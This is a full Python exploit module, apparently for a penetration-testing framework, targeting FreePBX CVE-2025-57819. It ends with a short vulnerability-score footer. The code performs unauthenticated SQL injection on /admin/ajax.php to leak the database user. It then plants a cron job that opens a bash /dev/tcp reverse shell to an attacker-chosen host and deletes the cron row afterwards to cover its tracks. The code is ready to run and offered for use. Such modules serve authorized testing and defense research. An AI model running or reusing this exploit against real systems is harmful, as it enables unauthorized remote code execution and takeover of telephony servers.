FreePBX - Unauth SQLi to RCE (CVE-2025-57819)
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""FreePBX Endpoint Manager unauth SQLi → cron RCE (CVE-2025-57819) — reverse CMD."""
from __future__ import annotations
import base64
import threading
from kittysploit import *
from lib.protocols.http.http_client import Http_client
_EXTRACTVALUE_PROBE = "x' AND EXTRACTVALUE(1,CONCAT('~',(SELECT USER()),'~')) -- -"
_AJAX_MODULE = 'FreePBX\\modules\\endpoint\\ajax'
class Module(Exploit, Http_client):
__info__ = {
'name': 'FreePBX - Unauth SQLi to RCE (CVE-2025-57819)',
'description': (
'Exploits CVE-2025-57819: unauthenticated stacked SQLi on /admin/ajax.php '
'(brand) inserts a cron_jobs row that runs a simple bash /dev/tcp reverse shell '
'on the next FreePBX cron tick (~60s). The framework listener starts automatically '
'(disablePayloadHandler=false). Set LHOST/LPORT only — no PTY payload needed.'
),
'author': ['K3ysTr0K3R (Jared Brits)', 'KittySploit Team'],
'cve': ['CVE-2025-57819'],
'platform': Platform.LINUX,
'arch': [Arch.X86, Arch.X64],
'category': PayloadCategory.CMD,
'payload': {
'default': 'payloads/singles/cmd/unix/bash_reverse_tcp',
'platform': Platform.UNIX,
'category': PayloadCategory.CMD,
},
'references': [
'https://nvd.nist.gov/vuln/detail/CVE-2025-57819',
'https://github.com/FreePBX/security-reporting/security/advisories/GHSA-m42g-xg4c-5f3h',
'https://www.exploit-db.com/exploits/52681',
],
'tags': [
'freepbx', 'sangoma', 'endpoint', 'sqli', 'unauth', 'rce', 'cron',
'kev', 'cve-2025-57819',
],
'agent': {
'risk': 'critical',
'effects': ['active_exploitation', 'remote_code_execution', 'config_change'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals', 'rce'],
'requires': {
'tech_hints_any': ['freepbx', 'sangoma'],
'endpoint_pattern_any': ['/admin/ajax.php'],
},
'chain': {
'produces_capabilities': [
{'capability': 'rce', 'from_detail': 'cron_jobs stacked SQLi'},
{'capability': 'shell', 'from_detail': 'reverse CMD session'},
],
'suggested_followups': ['scanner/http/cve_2025_57819_detect'],
},
},
}
port = OptPort(80, 'FreePBX HTTP port', True)
ssl = OptBool(False, 'Use HTTPS', True, advanced=True)
exploit_timeout = OptInteger(
120,
'Seconds to wait for reverse shell after cron injection',
required=False,
advanced=True,
)
auto_cleanup = OptBool(True, 'Delete injected cron_jobs row after delay', False, advanced=True)
cleanup_delay = OptInteger(180, 'Seconds before cron_jobs cleanup', False, advanced=True)
cron_module = OptString('sysadmin', 'modulename stored in cron_jobs', False, advanced=True)
job_name = OptString('', 'cron_jobs.jobname (auto if empty)', False, advanced=True)
def _ajax_path(self) -> str:
base = (self.path or '/').rstrip('/')
return f'{base}/admin/ajax.php'
def _ajax_params(self, brand: str) -> dict[str, str]:
return {
'module': _AJAX_MODULE,
'command': 'model',
'template': 'x',
'model': 'model',
'brand': brand,
}
def _send_brand(self, brand: str):
return self.http_request(
method='GET',
path=self._ajax_path(),
params=self._ajax_params(brand),
allow_redirects=False,
)
@staticmethod
def _body_indicates_sqli(body: str) -> bool:
text = body or ''
if 'XPATH syntax error' in text and 'freepbxuser' in text:
return True
if 'You have an error in your SQL syntax' in text:
return True
if 'Trying to access array offset on value of type bool' in text:
return True
return False
def _reverse_shell_cmd(self) -> str:
host = str(getattr(self, 'lhost', None) or '').strip()
port = int(getattr(self, 'lport', None) or 0)
if not host or port <= 0:
raise ValueError('Set LHOST and LPORT for the reverse shell listener')
return f"bash -c 'exec bash -i &>/dev/tcp/{host}/{port} <&1'"
def check(self):
response = self._send_brand(_EXTRACTVALUE_PROBE)
if not response:
return {
'vulnerable': False,
'reason': 'No response from /admin/ajax.php',
'confidence': 'low',
}
body = response.text or ''
if 'XPATH syntax error' in body and 'freepbxuser' in body:
return {
'vulnerable': True,
'reason': 'EXTRACTVALUE SQLi confirmed (MySQL user freepbxuser leaked)',
'confidence': 'high',
}
if self._body_indicates_sqli(body):
return {
'vulnerable': True,
'reason': 'Error-based SQL injection on brand parameter',
'confidence': 'medium',
}
return {
'vulnerable': False,
'reason': 'No CVE-2025-57819 SQLi indicators on endpoint ajax brand parameter',
'confidence': 'medium',
}
@staticmethod
def _wrap_for_cron(shell_cmd: str) -> str:
b64 = base64.b64encode(shell_cmd.encode()).decode()
return f"echo '{b64}' | base64 -d | bash"
def _inject_cron(self, shell_cmd: str, job: str) -> bool:
command = self._wrap_for_cron(shell_cmd)
hex_command = command.encode().hex()
module = str(self.cron_module or 'sysadmin').replace("'", '')
safe_job = job.replace("'", '')
sql = (
f"x' ;INSERT INTO cron_jobs "
f"(modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order) "
f"VALUES ('{module}', '{safe_job}', 0x{hex_command}, NULL, '* * * * *', 30, 1, 1) -- "
)
response = self._send_brand(sql)
if not response:
return False
return int(response.status_code or 0) in (200, 500)
def _cleanup_cron(self, job: str) -> bool:
safe_job = job.replace("'", '')
sql = f"x' ;DELETE FROM cron_jobs WHERE jobname='{safe_job}' -- "
response = self._send_brand(sql)
if not response:
return False
return int(response.status_code or 0) in (200, 500)
def _schedule_cleanup(self, job: str) -> None:
delay = max(30, int(self.cleanup_delay or 180))
def _worker() -> None:
if self._cleanup_cron(job):
print_success(f'Cron job row deleted (jobname={job})')
else:
print_warning('Cron cleanup may have failed — verify cron_jobs manually')
threading.Timer(delay, _worker).start()
def run(self):
chk = self.check()
if not chk.get('vulnerable'):
print_error(chk.get('reason') or 'Target not vulnerable')
self.not_vulnerable()
return False
try:
shell_cmd = self._reverse_shell_cmd()
except ValueError as exc:
print_error(str(exc))
return False
job = str(self.job_name or '').strip() or f'ks-{self.random_text(6)}'
host = str(getattr(self, 'lhost', '') or '').strip()
port = int(getattr(self, 'lport', 0) or 0)
print_status(f'Injecting cron_jobs row (jobname={job}) ...')
print_info(f'Reverse shell: {host}:{port} (bash /dev/tcp, EDB-52681 style)')
if not self._inject_cron(shell_cmd, job):
print_error('Cron injection failed (unexpected HTTP response)')
return False
print_success('Cron planted — callback expected within ~60s (framework waits for listener)')
if bool(self.auto_cleanup):
print_info(
f'Cron row cleanup scheduled in {max(30, int(self.cleanup_delay or 180))}s'
)
self._schedule_cleanup(job)
return True
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04 Sep 2026 07:22Current
CVSS 3.19.8
CVSS 410
EPSS0.86347
SSVC